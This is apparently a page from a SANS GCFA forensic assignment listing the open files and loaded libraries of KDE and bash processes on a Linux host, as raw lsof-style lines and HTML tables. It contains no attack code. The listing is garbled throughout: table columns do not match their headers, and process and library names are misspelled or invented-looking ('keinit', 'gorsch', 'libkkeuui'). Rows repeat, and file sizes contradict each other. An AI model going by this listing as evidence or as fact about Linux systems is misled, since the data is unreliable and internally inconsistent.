kdeinit 1210 userid1 mem REG 3,2 20666 114263 /usr/lib/gconv/gconv-modules.cache
keinit 1210 userid1 mem REG 3,2 371 130311
/usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
keinit 1210 userid1 mem REG 3,2 29 130312
/usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
keinit 1210 userid1 mem REG 3,2 65 130316
/usr/lib/locale/en_US.iso885915/LC_TELEPHONE
keinit 1210 userid1 mem REG 3,2 161 130310
/usr/lib/locale/en_US.iso885915/LC_ADDRESS
keinit 1210 userid1 mem REG 3,2 83 130314
/usr/lib/locale/en_US.iso885915/LC_NAME
keinit 1210 userid1 mem REG 3,2 40 130315
/usr/lib/locale/en_US.iso885915/LC_PAPER
keinit 1210 userid1 mem REG 3,2 58 179360
/usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
keinit 1210 userid1 mem REG 3,2 292 130313
/usr/lib/locale/en_US.iso885915/LC_MONETARY
keinit 1210 userid1 mem REG 3,2 60 130322
/usr/lib/locale/en_US.iso885915/LC_NUMERIC
keinit 1210 userid1 mem REG 3,2 10902 16965
/usr/X11R6/lib/X11/locale/common/xlcDef.so.2
keinit 1210 userid1 mem REG 3,2 262818 65640 /usr/lib/libDCOP-gcc2.96.so.4.0.0
keinit 1210 userid1 mem REG 3,2 294341 65740 /usr/lib/libkparts-gcc2.96.so.2.0.0
keinit 1210 userid1 mem REG 3,2 3484738 65724 /usr/lib/libkio-gcc2.96.so.4.0.0
keinit 1210 userid1 mem REG 3,2 2530952 65712 /usr/lib/libkkeuui-gcc2.96.so.4.0.0
keinit 1210 userid1 mem REG 3,2 168176 65682 /usr/lib/libkdeui-gcc2.96.so.4.0.0
keinit 1210 userid1 mem REG 3,2 17328 17011 /usr/X11R6/lib/libXrender.so.1.1
keinit 1210 userid1 mem REG 3,2 133032 65706 /usr/X11R6/lib/libXext.so.6.4
keinit 1210 userid1 mem REG 3,2 1962973 65672 /usr/lib/libkddkcore-gcc2.96.so.4.0.0
keinit 1210 userid1 mem REG 3,2 7644546 440426 /usr/lib/qt-3.0.3/lib/libqt-2.2.5.so
keinit 1210 userid1 mem REG 3,2 131560 65396 /usr/lib/libpkgp.so.2.1.0.12
keinit 1210 userid1 mem REG 3,2 59778 65358 /usr/lib/libkx.so.1.1.3
keinit 1210 userid1 mem REG 3,2 874476 16985 /usr/X11R6/lib/libX11.so.6.2
keinit 1210 userid1 mem REG 3,2 31520 16983 /usr/X11R6/lib/libSM.so.so.6.0
keinit 1210 userid1 mem REG 3,2 81380 16979 /usr/X11R6/lib/libX11.so.6.1
keinit 1210 userid1 mem REG 3,5 101902 73734 /lib/i686/libpthread-0.9.so
keinit 1210 userid1 mem REG 3,5 12102 63503 /lib/libdl-2.2.5.so
keinit 1210 userid1 mem REG 3,2 52300 16993 /usr/X11R6/lib/libXext.so.6.4
keinit 1210 userid1 mem REG 3,5 68925 63535 /lib/libresolv-2.2.5.so
keinit 1210 userid1 mem REG 3,2 4266442 65304 /usr/lib/libstdc++-3.0.3.so
keinit 1210 userid1 mem REG 3,2 61174 63541 /lib/libutil-2.2.5.so
keinit 1210 userid1 mem REG 3,5 173359 73732 /lib/i686/libc-2.2.5.so
keinit 1210 userid1 mem REG 3,2 110194 65399 /usr/lib/libcups.so.2
keinit 1210 userid1 mem REG 3,2 290306 65392 /usr/lib/libm.so.so.1.0.0
keinit 1210 userid1 mem REG 3,2 140418 65389 /usr/lib/libjpeg.so.62.0.0
keinit 1210 userid1 mem REG 3,2 295833 65382 /usr/lib/libfreetype.so.6.3.0
keinit 1210 userid1 mem REG 3,2 874476 16985 /usr/X11R6/lib/libX11.so.6.2
keinit 1210 userid1 mem REG 3,2 59778 65358 /usr/lib/libkx.so.1.1.3
keinit 1210 userid1 mem REG 3,2 81380 16979 /usr/X11R6/lib/libX11.so.6.1
keinit 1210 userid1 mem REG 3,5 207008 65304 /usr/lib/libkdecore-gcc2.96.so.4.0.0
keinit 1210 userid1 mem REG 3,5 151845 65952 /usr/lib/ksmserv-gcc2.96.so.4.0.0
keinit 1210 userid1 mem REG 3,2 2530952 65706 /usr/X11R6/lib/libXext.so.6.4
keinit 1210 userid1 mem REG 3,2 3484738 65724 /usr/lib/libkio-gcc2.96.so.4.0.0
keinit 1210 userid1 mem REG 3,2 136415 16964
/usr/X11R6/lib/X11/locale/common/ximcp.so.2
keinit 1210 userid1 mem REG 3,2 6996 114215 /usr/lib/gconv/ISO8859-15.so
keinit 1210 userid1 mem REG 3,5 45415 65253 /lib/libxms_files-2.2.5.so
keinit 1210 userid1 mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
keinit 1210 userid1 0r CHR 1,3 9637 /dev/null
keinit 1210 userid1 1w REG 3,3 1453 32328 /home/userid1/.xsession-errors
keinit 1210 userid1 2w REG 3,3 1453 32328 /home/userid1/.xsession-errors
keinit 1210 userid1 3u unix 0xc2b99540 2275 socket
keinit 1210 userid1 4u unix 0xc2f11aa0 2267 /tmp/ksocket-userid1/kdeinit-
keinit 1210 userid1 5r FIFO 0,5 2277 pipe
keinit 1210 userid1 6w FIFO 0,5 2277 pipe
keinit 1210 userid1 7r FIFO 0,5 2278 pipe
keinit 1210 userid1 9w FIFO 0,5 2278 pipe

Kevin Miller - Sans GCFA Assignment - v1.4 Page 120
<table>
<thead>
<tr>
<th>Process</th>
<th>Username</th>
<th>Mode</th>
<th>PID</th>
<th>Pathname</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdemin</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>kdemin</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>kdemin</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
</tr>
<tr>
<td>kdemin</td>
<td>userid1</td>
<td>0r</td>
<td>CHR</td>
<td>1,3</td>
</tr>
<tr>
<td>kdemin</td>
<td>userid1</td>
<td>1w</td>
<td>REG</td>
<td>3,3</td>
</tr>
<tr>
<td>kdemin</td>
<td>userid1</td>
<td>2w</td>
<td>REG</td>
<td>3,3</td>
</tr>
<tr>
<td>kdemin</td>
<td>userid1</td>
<td>3u</td>
<td>unix</td>
<td>0xc1bf0aa0</td>
</tr>
<tr>
<td>kdemin</td>
<td>userid1</td>
<td>4u</td>
<td>unix</td>
<td>0xc0ce370c0</td>
</tr>
<tr>
<td>kdemin</td>
<td>userid1</td>
<td>5r</td>
<td>FIFO</td>
<td>0,5</td>
</tr>
<tr>
<td>kdemin</td>
<td>userid1</td>
<td>6w</td>
<td>FIFO</td>
<td>0,5</td>
</tr>
<tr>
<td>kdemin</td>
<td>userid1</td>
<td>7r</td>
<td>FIFO</td>
<td>0,5</td>
</tr>
<tr>
<td>kdemin</td>
<td>userid1</td>
<td>8w</td>
<td>FIFO</td>
<td>0,5</td>
</tr>
<tr>
<td>kdemin</td>
<td>userid1</td>
<td>9u</td>
<td>CHR</td>
<td>5,2</td>
</tr>
<tr>
<td>kdemin</td>
<td>userid1</td>
<td>10u</td>
<td>CHR</td>
<td>136,0</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>cwd</td>
<td>DIR</td>
<td>3,3</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>txt</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
<tr>
<td>korgac</td>
<td>userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
</tr>
</tbody>
</table>
korgac 1228 userid1 mem REG 3,5 924879 63562 /lib/libcrypto.so.0.9.6b
gorsch 1228 userid1 mem REG 3,2 22592 130323
/usr/lib/locale/en_US.iso885915/LC_COLLATE
gorsch 1228 userid1 mem REG 3,2 173680 130324
/usr/lib/locale/en_US.iso885915/LC_CTYPE
gorsch 1228 userid1 mem REG 3,2 136415 16964
/usr/X11R6/lib/X11/locale/common/ximcp.so.2
gorsch 1228 userid1 mem REG 3,2 6996 114215 /usr/lib/gconv/ISO8859-15.so
/gorsch 1228 userid1 mem REG 3,2 42808 16969
/usr/X11R6/lib/X11/locale/common/xomGeneric.so.2
gorsch 1228 userid1 mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
gorsch 1228 userid1 mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
gorsch 1228 userid1 perms REG 1,3 9637 /dev/null
gorsch 1228 userid1 perms REG 3,3 1453 32328 /home/userid1/.xsession-errors
gorsch 1228 userid1 mem REG 3,3 1453 32328 /home/userid1/.xsession-errors
gorsch 1228 userid1 mem REG 3,2 1453 32328 /usr/X11R6/lib/X11/locale/common/ximcp.so.2
gorsch 1228 userid1 mem REG 3,2 6996 114215 /usr/lib/gconv/ISO8859-15.so
<table>
<thead>
<tr>
<th>Program</th>
<th>Userid</th>
<th>Flags</th>
<th>Type</th>
<th>Size</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>426442</td>
<td>/usr/lib/libstdc++-3/libc6.2-2-2.10.0.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,5</td>
<td>11174</td>
<td>/lib/libutil-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,5</td>
<td>173359</td>
<td>/lib/ld-linux.so.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>110194</td>
<td>/usr/lib/libcups.so.2</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>209333</td>
<td>/usr/lib/libmng.so.1.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>298533</td>
<td>/usr/lib/libfreetype.so.6.3.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,5</td>
<td>207008</td>
<td>/lib/libssl.so.0.9.6b</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,5</td>
<td>924879</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>575687</td>
<td>/usr/lib/libkonq-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>245459</td>
<td>/usr/lib/konsole-gcc2.96.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>396236</td>
<td>/usr/lib/libkonsolepart-gcc2.96.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>292</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>1401027</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>1453</td>
<td>/home/userid1/.xsession-errors</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>1453</td>
<td>/home/userid1/.xsession-errors</td>
</tr>
<tr>
<td>kdeinit</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>6996</td>
<td>/lib/gconv/ISO8859-15.so</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,5</td>
<td>425497</td>
<td>/tmp/kde-userid1/ksycoca</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>42808</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>114215</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>60</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>140418</td>
<td>/usr/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>90976</td>
<td>/lib/X11R6/lib/libXft.so.1.1</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>295833</td>
<td>/usr/lib/libfreetype.so.6.3.0</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>140418</td>
<td>/lib/libssl.so.0.9.6b</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>924879</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>575687</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>245459</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>396236</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>292</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>1401027</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,5</td>
<td>425497</td>
<td>/tmp/kde-userid1/ksycoca</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>42808</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>114215</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>173680</td>
<td>/usr/lib/locale/en_US.iso885915/LC_CTYPE</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>60</td>
<td>/usr/lib/locale/en_US.iso885915/LC_NUMERIC</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>140418</td>
<td>/usr/lib/libjpeg.so.62.0.0</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>90976</td>
<td>/lib/X11R6/lib/libXft.so.1.1</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>295833</td>
<td>/usr/lib/libfreetype.so.6.3.0</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>140418</td>
<td>/lib/libssl.so.0.9.6b</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>924879</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>575687</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>245459</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>396236</td>
<td>/lib/libcrypto.so.0.9.6b</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>292</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>22592</td>
<td>/usr/lib/locale/en_US.iso885915/LC_COLLATE</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>1401027</td>
<td>/lib/i686/libc-2.2.5.so</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,5</td>
<td>425497</td>
<td>/tmp/kde-userid1/ksycoca</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,2</td>
<td>42808</td>
<td>/usr/lib/locale/en_US.iso885915/LC_MONETARY</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,5</td>
<td>11832</td>
<td>/lib/libtermcap.so.2.0.8</td>
</tr>
<tr>
<td>bash</td>
<td>userid1</td>
<td>REG</td>
<td>3,5</td>
<td>12102</td>
<td>/lib/libdl-2.2.5.so</td>
</tr>
</tbody>
</table>
bash 1234 userid1 mem REG 3,2 22592 130323
/usr/lib/locale/en_US.iso885915/LC_COLLATE
bash 1234 userid1 mem REG 3,2 173680 130324
/usr/lib/locale/en_US.iso885915/LC_CTYPE
bash 1234 userid1 mem REG 3,5 45415 63523 /lib/libnss_files-2.2.5.so
bash 1234 userid1 mem REG 3,5 46117 63531 /lib/libnss_nisplus-2.2.5.so
bash 1234 userid1 mem REG 3,5 1401027 73730 /lib/libc-2.2.5.so
bash 1234 userid1 0u CHR 136,1 3 /dev/pts/1
bash 1234 userid1 2u CHR 136,1 3 /dev/pts/1
bash 1234 userid1 255u CHR 136,1 3 /dev/pts/1
bash 1269 root cwd DIR 2,0 1024 /mnt/floppy
bash 1269 root rtd DIR 3,5 1024 2 /
bash 1269 root txt REG 3,5 541096 40973 /bin/bash
bash 1269 root mem REG 3,2 173680 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
bash 1269 root mem REG 3,5 1401027 73730 /lib/i686/libc-2.2.5.so
bash 1269 root 0u CHR 136,1 3 /dev/pts/1
bash 1269 root 1u CHR 136,1 3 /dev/pts/1
bash 1269 root 2u CHR 136,1 3 /dev/pts/1
kdeinit 6133 userid1 cwd DIR 3,3 4096 32321 /home/userid1
kdeinit 6133 userid1 rtd DIR 3,5 1024 2408 2 /lib
kdeinit 6133 userid1 txt REG 3,2 36360 33359 /usr/bin/kdeinit
kdeinit 6133 userid1 mem REG 3,5 89547 63490 /lib/libnssutil-2.2.5.
2.2.5.so
kdeinit 6133 userid1 mem REG 3,2 2457 130317 /usr/lib/locale/en_US.iso885915/LC_TIME
kdeinit 6133 userid1 mem REG 3,2 20666 130311 /usr/lib/locale/en_US.iso885915/LC_IDENTIFICATION
kdeinit 6133 userid1 mem REG 3,2 29 130312 /usr/lib/locale/en_US.iso885915/LC_MEASUREMENT
kdeinit 6133 userid1 mem REG 3,2 65 130316 /usr/lib/locale/en_US.iso885915/LC_TELEPHONE
kdeinit 6133 userid1 mem REG 3,2 161 130310 /usr/lib/locale/en_US.iso885915/LC_ADDRESS
kdeinit 6133 userid1 mem REG 3,2 83 130314 /usr/lib/locale/en_US.iso885915/LC_NAME
kdeinit 6133 userid1 mem REG 3,2 40 130315 /usr/lib/locale/en_US.iso885915/LC_PAPER
kdeinit 6133 userid1 mem REG 3,2 58 179360 /usr/lib/locale/en_US.iso885915/LC_MESSAGES/SYS_LC_MESSAGES
kdeinit 6133 userid1 mem REG 3,2 292 130313 /usr/lib/locale/en_US.iso885915/LC_MONETARY
kdeinit 6133 userid1 mem REG 3,2 60 130322 /usr/lib/locale/en_US.iso885915/LC_NUMERIC
kdeinit 6133 userid1 mem REG 3,2 10902 16965 /usr/lib/X11R6/lib/X11/locale/common/xlcDef.so.2
kdeinit 6133 userid1 mem REG 3,2 262818 65640 /usr/lib/libDCOP-gcc2.96.so.4.0.0
kdeinit 6133 userid1 mem REG 3,2 294341 65748 /usr/lib/libkparts-gcc2.96.so.2.0.0
kdeinit 6133 userid1 mem REG 3,2 3484738 65724 /usr/lib/libkio-gcc2.96.so.4.0.0
kdeinit 6133 userid1 mem REG 3,2 2530952 65716 /usr/lib/libkdeui-gcc2.96.so.4.0.0
kdeinit 6133 userid1 mem REG 3,2 17328 17011 /usr/X11R6/lib/libXrender.so.1.1
kdeinit 6133 userid1 mem REG 3,2 130324 /usr/lib/locale/en_US.iso885915/LC_CTYPE
<table>
<thead>
<tr>
<th>Process</th>
<th>User</th>
<th>Type</th>
<th>Size</th>
<th>File Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>kdeinit 6133 userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>/usr/X11R6/lib/X11/locale/common/ximcp.so.2</td>
</tr>
<tr>
<td>kdeinit 6133 userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>/usr/lib/gconv/ISO8859-15.so</td>
</tr>
<tr>
<td>kdeinit 6133 userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>/usr/X11R6/lib/X11/locale/common/xomGeneric.so.2</td>
</tr>
<tr>
<td>kdeinit 6133 userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>/lib/libnss_files-2.2.25.so</td>
</tr>
<tr>
<td>kdeinit 6133 userid1</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>/lib/libc-2.2.5.so</td>
</tr>
<tr>
<td>kdeinit 6133 userid1</td>
<td>0r CHR</td>
<td>1,3</td>
<td>9637</td>
<td>/dev/null</td>
</tr>
<tr>
<td>kdeinit 6133 userid1</td>
<td>1w</td>
<td>REG</td>
<td>3,3</td>
<td>/home/userid1/.xsession-errors</td>
</tr>
<tr>
<td>kdeinit 6133 userid1</td>
<td>2w</td>
<td>REG</td>
<td>3,3</td>
<td>/home/userid1/.xsession-errors</td>
</tr>
<tr>
<td>kdeinit 6133 userid1</td>
<td>3u unix</td>
<td>0xc2e450c0</td>
<td>280004</td>
<td>socket</td>
</tr>
<tr>
<td>kdeinit 6133 userid1</td>
<td>4u unix</td>
<td>0xc4fb90e0</td>
<td>280008</td>
<td>socket</td>
</tr>
<tr>
<td>kdeinit 6133 userid1</td>
<td>5r FIFO</td>
<td>0,5</td>
<td>32328</td>
<td>home/userid1/.xsession-errors</td>
</tr>
<tr>
<td>kdeinit 6133 userid1</td>
<td>6w FIFO</td>
<td>0,5</td>
<td>32328</td>
<td>pipe</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>cwd</td>
<td>DIR</td>
<td>3,3</td>
<td>/home/userid1</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>rtd</td>
<td>DIR</td>
<td>3,5</td>
<td>/</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>txt</td>
<td>REG</td>
<td>3,2</td>
<td>/usr/bin/kdesud</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,5</td>
<td>/lib/ld-2.2.5.so</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>/usr/lib/libkdesu-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>/usr/lib/libkdecore-gcc2.96.so.4.0.0</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
<td>/usr/lib/qt-3.0.3/lib/libqt-mt.so.3.0.3</td>
</tr>
<tr>
<td>kdesud 6135 root</td>
<td>mem</td>
<td>REG</td>
<td>3,2</td>
